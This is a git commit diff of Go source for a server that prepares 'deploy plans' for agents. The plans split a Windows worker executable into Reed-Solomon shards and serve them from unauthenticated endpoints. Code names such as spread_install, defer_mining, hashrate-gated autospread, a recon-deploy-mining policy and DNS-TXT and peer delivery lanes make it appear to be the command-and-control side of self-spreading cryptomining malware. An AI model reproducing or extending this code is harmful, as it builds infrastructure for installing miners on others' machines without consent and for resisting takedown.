Add erasure-coded multi-lane spread foundation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
This commit is contained in:
AetherForge
2026-06-07 06:09:20 -07:00
parent 39b935aeb6
commit 0445b7ed4f
39 changed files with 1379 additions and 72 deletions

View File

@@ -13,6 +13,7 @@ import (
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
)
@@ -70,6 +71,7 @@ type DeployPlanBody struct {
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
}
type deployPlanRequest struct {
@@ -98,8 +100,10 @@ type DeployPlanHandler struct {
projectRoot string
publicURL func() string
fleetSecret func() string
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
erasureEnabled func() bool
erasureShards *erasure.ShardStore
}
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -118,6 +122,21 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
h.pathTracer = handler
}
// BindErasure wires ReedSolomon shard encoding for multi-lane deploy plans.
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
h.erasureEnabled = enabled
h.erasureShards = store
}
// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots.
func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) {
h.erasureShards = store
if hub == nil {
return
}
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
}
// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest
@@ -242,9 +261,62 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
default:
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
}
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err
}
return body, nil
}
func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error {
if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil {
return nil
}
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return err
}
payload, err := os.ReadFile(build.FilePath)
if err != nil {
return fmt.Errorf("erasure read build: %w", err)
}
dest := `%TEMP%\AetherForge\worker.exe`
launch := "exe"
dllExport := ""
if body.Manifest != nil {
if body.Manifest.Dest != "" {
dest = body.Manifest.Dest
}
if body.Manifest.Launch != "" {
launch = body.Manifest.Launch
}
dllExport = body.Manifest.DLLExport
}
deferMining := true
spreadInstall := true
if body.Manifest != nil {
deferMining = body.Manifest.DeferMining
spreadInstall = body.Manifest.SpreadInstall
}
plan, err := erasure.BuildPlan(
h.erasureShards, serverURL, buildID, req.Campaign, payload,
dest, launch, dllExport, deferMining, spreadInstall,
)
if err != nil {
return err
}
body.ErasurePlan = plan
if body.SpreadRouteHint != nil {
body.SpreadRouteHint.ErasureLanesEnabled = true
}
return nil
}
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
if h.pathTracer == nil {
return nil

View File

@@ -0,0 +1,93 @@
package api
import (
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5"
)
func TestBuildPlanAttachesErasureMetadata(t *testing.T) {
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatal(err)
}
if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
t.Fatalf("expected erasure_plan, got %+v", plan.ErasurePlan)
}
if len(plan.ErasurePlan.Shards) != 6 {
t.Fatalf("shards=%d", len(plan.ErasurePlan.Shards))
}
if plan.ErasurePlan.PayloadSHA256 == "" {
t.Fatal("expected payload sha256")
}
for _, ref := range plan.ErasurePlan.Shards {
if _, ok := store.Get(plan.ErasurePlan.ShardToken, ref.Index); !ok {
t.Fatalf("missing stored shard %d", ref.Index)
}
}
}
func TestBuildPlanSkipsErasureWhenDisabled(t *testing.T) {
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return false }, store)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatal(err)
}
if plan.ErasurePlan != nil {
t.Fatalf("expected no erasure plan, got %+v", plan.ErasurePlan)
}
}
func TestPublicErasureShardEndpoint(t *testing.T) {
store := erasure.NewShardStore()
payload := []byte("public-erasure-shard")
plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, `%TEMP%\w.exe`, "exe", "", true, true)
if err != nil {
t.Fatal(err)
}
h := NewPublicHandler(nil, "", nil)
h.BindErasureShardStore(store)
r := chi.NewRouter()
r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)
req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
if rec.Body.Len() == 0 {
t.Fatal("empty shard body")
}
}
func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) {
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
pt := NewPathTracerHandler(nil)
h.BindPathTracer(pt)
plan, err := h.buildPlan(deployPlanRequest{
AgentID: "seed-1", Platform: "windows", BuildID: "b1",
}, "DoSvc", ServiceDeployLane{Lane: "do_peer"})
if err != nil {
t.Fatal(err)
}
if plan.ErasurePlan == nil {
t.Fatal("expected erasure plan")
}
}

View File

@@ -0,0 +1,38 @@
package api
import (
"encoding/json"
"testing"
)
func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) {
hub := NewWSHub(nil)
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
raw := buildAuthSpreadPolicy(hub)
var policy map[string]interface{}
if err := json.Unmarshal(raw, &policy); err != nil {
t.Fatal(err)
}
enabled, ok := policy["erasure_lanes_enabled"].(bool)
if !ok || !enabled {
t.Fatalf("policy=%#v", policy)
}
}
func buildAuthSpreadPolicy(hub *WSHub) json.RawMessage {
policy := hub.serverPolicySnapshot()
if !policy.ErasureLanesEnabled && policy.HashrateGateSpreadMin <= 0 && policy.HashrateGateHPS <= 0 {
return nil
}
spreadPolicy := map[string]interface{}{
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
}
if policy.HashrateGateSpreadMin > 0 {
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
raw, _ := json.Marshal(spreadPolicy)
return raw
}

View File

@@ -2,12 +2,14 @@ package api
import (
"encoding/base64"
"fmt"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
@@ -21,15 +23,21 @@ type PublicBuildsConfig struct {
// PublicHandler serves unauthenticated build listing and download endpoints.
type PublicHandler struct {
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
erasureShards *erasure.ShardStore
}
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
}
// BindErasureShardStore serves ReedSolomon shard bytes for multi-lane deploy plans.
func (h *PublicHandler) BindErasureShardStore(store *erasure.ShardStore) {
h.erasureShards = store
}
type publicBuildDTO struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
@@ -199,6 +207,34 @@ func encodeDNSTXTShard(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
// GET /api/v1/public/erasure-shard/{token}/{index}
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
if h.erasureShards == nil {
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
return
}
token := strings.TrimSpace(chi.URLParam(r, "token"))
if token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
indexStr := strings.TrimSpace(chi.URLParam(r, "index"))
index := 0
if indexStr != "" {
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
http.Error(w, "invalid shard index", http.StatusBadRequest)
return
}
}
data, ok := h.erasureShards.Get(token, index)
if !ok {
http.Error(w, "shard not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {

View File

@@ -750,6 +750,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/download/{id}", publicHandler.Download)
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
}
})

View File

@@ -24,6 +24,8 @@ type ServerPolicy struct {
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
HashrateGateSpreadMin int
HashrateGateHPS float64
// ErasureLanesEnabled attaches ReedSolomon shard metadata to signed deploy plans.
ErasureLanesEnabled bool
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.

View File

@@ -99,6 +99,7 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
}
in.LaneSuccess = collectLaneSuccessStats(hub)
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
return in
}

View File

@@ -918,11 +918,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 {
resp["spread_policy"] = map[string]interface{}{
"hashrate_gate_spread_min": policy.HashrateGateSpreadMin,
"hashrate_gate_hps": policy.HashrateGateHPS,
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled {
spreadPolicy := map[string]interface{}{
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
}
if policy.HashrateGateSpreadMin > 0 {
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
resp["spread_policy"] = spreadPolicy
}
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)